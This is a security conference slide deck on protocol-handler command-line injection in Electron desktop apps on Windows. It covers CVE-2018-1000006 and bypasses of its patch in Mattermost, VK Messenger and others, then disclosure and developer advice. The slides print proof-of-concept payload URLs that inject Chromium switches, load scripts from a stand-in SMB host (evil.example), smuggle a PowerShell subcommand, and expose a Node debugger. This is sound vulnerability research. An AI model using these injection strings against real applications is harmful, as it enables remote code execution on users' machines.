app.setAsDefaultRCEClient

Electron, scheme handlers, and stealthy security patches

Juho Nurminen
Electrons and Muons

• Cross-platform "hybrid" desktop app frameworks
  • Web technologies on the desktop
  • Chromium + Node.js + desktop integration

• Electron, previously known as Atom Shell
  • Maintained by GitHub
  • Used by Skype, WhatsApp, Signal, Slack, VS Code, ...

• Muon: "Electron fork with better security"
  • Developed by Brave
  • Deprecated as of 2018, not maintained by anyone
  • DO NOT USE!
Windows-specific RCE vulnerability

Electron's `app.setAsDefaultProtocolClient` registers scheme handlers:

```plaintext
[HKEY_CLASSES_ROOT\your app\shell\open\command]
@=""C:\\Path\\To\\Your App. exe" \"%1\"
```

"%1" is a naïve format string

Chromium command line switches allowed code execution

https://electronjs.org/blog/protocol-handler-fix
CVE-2018-1000006 – exploit

- Phase 1: `myapp://aaa" --gpu-launcher="calc.exe" --aaa="`
- Phase 2:
- Phase 3: Profit!
CVE-2018-1000006 – patch

- Blacklist of dangerous command-line switches
- > 1300 entries
- Bypasses abound

Let's look at a few!

https://github.com/electron/electron/blob/v1.8.2-beta.5/atom/app/command_line_args.cc
HTs to other researchers

• Doyensec https://doyensec.com/
  • CVE-2018-1000006 bypass
    https://blog.doyensec.com/2018/05/24/electron-win-protocol-handler-bug-bypass.html
  • Electronegativity
    https://blog.doyensec.com/2019/01/24/electronegativity.html

• Thomas Shadwell @ Infiltrate 2019
  https://vimeo.com/335206831

• Andreas Lindh @ Security Fest 2016
  https://www.youtube.com/watch?v=mMUpVXV85g0
Bypassing the patch

CVE-2018-1000006 over and over again
Case #1: Preload scripts over SMB in Mattermost

- Command line switch for specifying custom user data path
  - E.g. `mattermost.exe --data-dir C:\foo\bar`

- App accepts UNC paths; UNC allows network access
  - Standard local path: `C:\foo\bar`
  - UNC path: `\\evil.example\foo\bar`

- Crafted config files can load and execute scripts

- Patched in Mattermost Desktop ≥ 4.2.2
Case #1: Preload scripts over SMB in Mattermost

```javascript
// Create the browser window.
const boundsInfoPath = path.join(app.getPath('userData'), 'bounds-info.json');
let windowOptions;
try {
  windowOptions = JSON.parse(fs.readFileSync(boundsInfoPath, 'utf-8'));
} catch (e) {
  // Follow Electron's defaults, except for window dimensions which targets 102

  minWidth: minimumWindowWidth,
  minHeight: minimumWindowHeight,
});

const mainWindow = new BrowserWindow(windowOptions);
mainWindow.deeplinkingUrl = options.deeplinkingUrl;
```

Case #1: Preload scripts over SMB in Mattermost

```javascript
new BrowserWindow([options])
```

- `options` Object (optional)
  - `width` Integer (optional) - Window’s width in pixels. Default is 800.
  - `webPreferences` Object (optional) - Settings of web page’s features.
    - `devTools` Boolean (optional) - Whether to enable DevTools. If it is set to false, can not use `BrowserWindow.webContents.openDevTools()`.
    - `preload` String (optional) - Specifies a script that will be loaded before other scripts run in the page. This script will always have access to node APIs no matter whether node integration is turned on or off. The value should be the absolute file path to the script. When node integration is

https://electronjs.org/docs/api/browser-window
Case #1: Preload scripts over SMB in Mattermost

- Phase 1: `mattermost:///\evil.example\dir`
- Phase 2:
- Phase 3: Profit!
Case #2: UNC to PowerShell injection in

- Command line switch for specifying custom user data path
  - E.g. `exe --user-data-dir C:\foo\bar`

- App accepts UNC paths; UNC allows network access
  - Windows file system is restrictive about naming
  - But UNC can point to a Linux host!

- Linux file names can contain `unexpected` characters

- UNC path is later passed to PowerShell
const resetAndRelaunch = () => {
  let userData = app.getPath('userData')

  if (process.platform === 'win32') {
    let resetCmd = 'powershell.exe'
    let resetArgs = [
      '-WindowStyle', 'Hidden',
      '-Command', `
        Remove-Item -Path "$\{userData\}" -Recurse;
        "(# some more commands...) #)"
    ]
    app.relaunch({ execPath: resetCmd, args: resetArgs })
  }
}
Case #2: UNC to PowerShell injection in

• Phase 1: smb://evil.example\dir\$(calc.exe)\x

• Phase 2:

• Phase 3: Profit!

Config files
Case #3: Debugging way too remotely

• Two dashes (`--`) mark the end of command-line switches
  • E.g `your app. exe --switch --another -- --not-a-switch`

• Processing the Electron blacklist also stops at `--`
  • This is fine: Chromium switches aren't processed anyway
  • ...
  • Except it's not

• Node switch processing ignores the marker!
Case #3: Debugging way too remotely

```c
39  const char* blacklist[] = {
40       // node
41       "inspect",
42       "inspect-brk",
43
44       // chromium switches:
45       // find / -name "*switches.cc" 
```
Case #3: Debugging way too remotely

- Patched in Electron ≥ 3.0.0, 2.x ≥ 2.0.9
  - Only mentioned in 2.x release notes as an "additional fix" to "DNS rebinding"
  - No public signal indicating this might be exploitable in production builds!
- Loads of apps still affected in early 2019
  - VK Messenger, Postman, Hyper, Missive... probably others

https://github.com/electron/electron/pull/14297
Case #3: Debugging way too remotely

- Phase 1: `vk://" -- inspect="0.0.0.0:5858`

- Phase 2:

- Phase 3: Profit!
Demo time

Mattermost / VK Messenger
node-dev-exec

- Tiny command-line wrapper forchrome-remote-interface
- Connects to a public node remotedebugging port and executes a payload
- Find it on GitHub:
  https://gist.github.com/jupenur
  (will be made public after the talk)
Wrapping it all up

How did we end up here anyway?
Disclosures and acquisitions

• Started looking at Electron in Feb 2019
  • Suddenly ended up with 7 RCEs in 6 different apps
  • Needed to figure out how to coordinate things
  • Obvious solution: ZDI

• Reported to ZDI on 2019/02/27
  • Reply on 2019/03/01: Not interested 5/6 targets :(  
  • VK Messenger was interesting, though!
  • Pending verification until 2019/06/03
    • Answer: Can’t reproduce :(  
    • VK had already updated their Electron version

• June 2019 onwards: Re-validated and coordinated on my own
Patches and mitigations

• Since CVE-2018-1000006, Electron has...
  • Updated the blacklist
  • Changed (twice!) the way command-line switches are handled
  • Migrated away from the blacklist-based approach entirely

• But also...
  • Not addressed the way URI scheme handlers are registered
  • Not published any additional advisories related to CVE-2018-1000006

• Microsoft has changed the way IE and Edge handle links
  • Malicious links can no longer be opened from the browser
What did we learn?

- Electron's `app.setAsDefaultProtocolClient` is dangerous
  - Developers: Are you sure you need it at all? Are you sure you're using it securely?
  - Security people: Be extra vigilant when you encounter a codebase that invokes it.

- Features like UNC support can catch you by surprise
  - Know the platforms you're developing for, even if targeting multiple platforms

- Electron has a bad habit of not publishing security issues
  - Keep your frameworks up to date
  - Since May 2019 Electron uses a 12-week release cycle!
THANKS FOR ATTENTION

@jupenur